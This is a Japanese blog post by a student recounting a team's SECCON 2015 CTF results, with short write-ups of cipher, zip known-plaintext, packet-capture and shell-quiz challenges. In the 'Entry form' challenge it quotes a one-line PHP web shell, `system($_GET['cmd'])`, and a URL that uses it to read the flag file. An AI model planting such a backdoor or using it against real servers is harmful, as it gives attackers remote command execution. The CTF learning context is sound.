SECCON 2015 Online 参加しました
overflowというチームで学校の同級生であるkyontanと@hogextendと一緒に参加しました。結果は
147 1200 overflow
で147位でした。高校生2年生の時にも友達を誘って参加しましたが惨敗。今回も少し勉強したのですがあえなく惨敗しました。前回よりも解けただけ良しとしましょう…
前回よりも解けたのでWriteupのようなものも書けます!
Writeup
Start SECCON CTF (50)
簡単な換字式暗号と呼ばれるものでした。CTF=Pythonみたいなイメージがあるのでpythonで書いた気がするんですがどんなコード書いたか忘れました…
Unzip the file (100)
暗号化されたzipが渡されました。
$ unzip -l ./unzip Archive: ./unzip Length Date Time Name --------- ---------- ----- ---- 14182 2015-11-30 16:23 backnumber08.txt 12064 2015-11-30 16:22 backnumber09.txt 22560 2015-12-01 15:21 flag --------- ------- 48806 3 files
3つのファイルが入っていて明らかに flag
というファイルに目的のものが入ってそうでした。とりあえず調べてみると選択平文攻撃なるものが存在するようで…
Blog: 年越しCTF x86-64.jp大会 2014 を開催しました – x86-64.jp - くりす研
そこでGoogleで "backnumber08.txt"
と検索をかけるとあからさまにSECCONのメールマガジンのテキストがヒットしました。あとは pkcrack
でいけんべと思っていたらなかなか複号できませんでした。 jquery.jsを同じアーカイブ方式、同じファイルシステムでzip
と書いてあるのでWindowsとKaliのzip両方で試してもダメ。backnumber08と09で試してもダメ。もうわかんなかったのであらましをkyontanに話したらなんか解いてくれました。Macじゃないとだめだったんでしょうか?今度詳しく聞いてきます。
Connect the server (100)
telnetサーバーに接続する問題でした。適当に接続するとこんな感じに
$ nc login.pwn.seccon.jp 10000 CONNECT 300 Welcome to SECCON server. The server is connected via slow dial-up connection. Please be patient, and do not brute-force. login: root Sorry, the account is unavailable. Good bye.
とりあえずパケットキャプチャを見てみようと思ったらいきなり答えがありました。
SECCON{Sometimes_what_you_see_is_NOT_what_you_get}
Command-Line Quiz (100)
telnetサーバーにログインすると6つのファイルがありまして、その問題を一つずつ解いていけばフラグを見れます。
$ cat *.txt cat: can't open 'flags.txt': Operation not permitted What command do you use when you want to read only top lines of a text file? Set your answer to environment variable named stage1 and execute a shell. $ stage1=$your_answer_here sh If your answer is what I meant, you will be able to access stage2.txt file. cat: can't open 'stage2.txt': Operation not permitted cat: can't open 'stage3.txt': Operation not permitted cat: can't open 'stage4.txt': Operation not permitted cat: can't open 'stage5.txt': Operation not permitted $ stage1=head sh $ cat *.txt cat: can't open 'flags.txt': Operation not permitted cat: can't open 'stage1.txt': Operation not permitted What command do you use when you want to read only bottom lines of a text file? Set your answer to environment variable named stage2 and execute a shell. $ stage2=$your_answer_here sh If your answer is what I meant, you will be able to access stage3.txt file. cat: can't open 'stage3.txt': Operation not permitted cat: can't open 'stage4.txt': Operation not permitted cat: can't open 'stage5.txt': Operation not permitted $ stage2=tail sh $ cat *.txt cat: can't open 'flags.txt': Operation not permitted cat: can't open 'stage1.txt': Operation not permitted cat: can't open 'stage2.txt': Operation not permitted What command do you use when you want to pick up lines that match specific patterns? Set your answer to environment variable named stage3 and execute a shell. $ stage3=$your_answer_here sh If your answer is what I meant, you will be able to access stage4.txt file. cat: can't open 'stage4.txt': Operation not permitted cat: can't open 'stage5.txt': Operation not permitted $ stage3=grep sh $ cat *.txt cat: can't open 'flags.txt': Operation not permitted cat: can't open 'stage1.txt': Operation not permitted cat: can't open 'stage2.txt': Operation not permitted cat: can't open 'stage3.txt': Operation not permitted What command do you use when you want to process a text file? Set your answer to environment variable named stage4 and execute a shell. $ stage4=$your_answer_here sh If your answer is what I meant, you will be able to access stage5.txt file. cat: can't open 'stage5.txt': Operation not permitted $ stage4=awk sh $ cat *.txt cat: can't open 'flags.txt': Operation not permitted cat: can't open 'stage1.txt': Operation not permitted cat: can't open 'stage2.txt': Operation not permitted cat: can't open 'stage3.txt': Operation not permitted cat: can't open 'stage4.txt': Operation not permitted OK. You reached the final stage. The flag word is in flags.txt file. flags.txt can be read by only one specific program which is available in this server. The program for reading flags.txt is one of commands you can use for processing a text file. Please find it. Good luck. ;-) $ sed -e "" ./flags.txt OK. You have read all .txt files. The flag word is shown below. SECCON{CaitSith@AQUA}
Entry form (100)
cgiで書かれたメールのエントリーフォームがありました。入力できるものはメールアドレスとユーザー名でsubmitすると登録確認メールを送りました的なページが表示されます。この問題は結構楽しかったです。(100点でしたが…)
まずルートにアクセスするとディレクトリの中の一覧を表示することができました。その中には実際に動いているcgiファイルのバックアップがあり、ソースコードを見ることができます。そこから log
というファイルの中にフラグが入っていることと、OSコマンドインジェクションを実行することができることが分かりました。しかし、 log
をOSコマンドインジェクションから表示できずパーミッションを見てみると cgi
ユーザーではアクセスできないことが分かりました。
Entry Form ./: total 1752 dr-xr-xr-x 2 root root 4096 Dec 1 21:52 SECRETS -r---w---- 1 apache cgi 1769873 Dec 5 21:43 log -r--r--r-- 1 root root 1132 May 15 2015 logo.png -r-xr-xr-x 1 cgi cgi 1631 Dec 5 20:32 register.cgi -r--r--r-- 1 root root 1583 Dec 1 22:25 register.cgi_bak Your entry was sent. Go Back
どうにか apache
ユーザーで見れないかなぁと思っていたら明らかに怪しい SECRETS/backdoor123.php
というファイルがありました。中には <pre><?php system($_GET['cmd']); ?></pre>
と書かれていたため、あとは SECRETS/backdoor123.php?cmd=cat+../log
にアクセスすればフラグがみれました。
自分がアクセスしたときには log
ファイルが膨れ上がっており、XSSも大量に埋め込んであったのが面白かったwww
あとはDecrypt itとかsteganoとかFind the prime numbersとかにちょっとずつ浮気しながら時間が終わりました。ここあやしいな…とか思うことはできるんですが答えまでなかなか行きつくことができません。kyontanは黙って問題を解き続けて最後にはちゃんとフラグを導き出せてるのがすごいですね。@hogextendがアナログにQRといてて最高に笑いましたwww
自分は全部低い点数の問題しか解けてないのが印象的でした。もっと基本的なところを勉強して問題を最後まで説き続ける根気が必要ですね。来年はもっと頑張りたいです。
2015/12/09 追記
チームメイトのkyontanもwriteupを書いてました。
あとpkcrackについてですが、原因が分かりました。
$ unzip -l ./unzip Archive: ./unzip.zip Length Date Time Name --------- ---------- ----- ---- 14182 2015-11-30 16:23 backnumber08.txt 12064 2015-11-30 16:22 backnumber09.txt 22560 2015-12-01 15:21 flag --------- ------- 48806 3 files $ ls -l ./backnumber08.txt* -rw-r--r-- 1 otter domain users 13944 12月 6 00:49 ./backnumber08.txt -rw-r--r-- 1 otter domain users 14182 10月 3 2014 ./backnumber08.txt.1
以上のように実際のファイルと操作していたファイルの容量が違っていたことが原因でした。自分は基本はWindowsで操作していて必要があるときにGitサーバーにアップロードしてから、Kaliで操作するようにしています。今回はその時に改行のCRLFが変更されたため複号ができなかったようです。気を付けないといけないですね。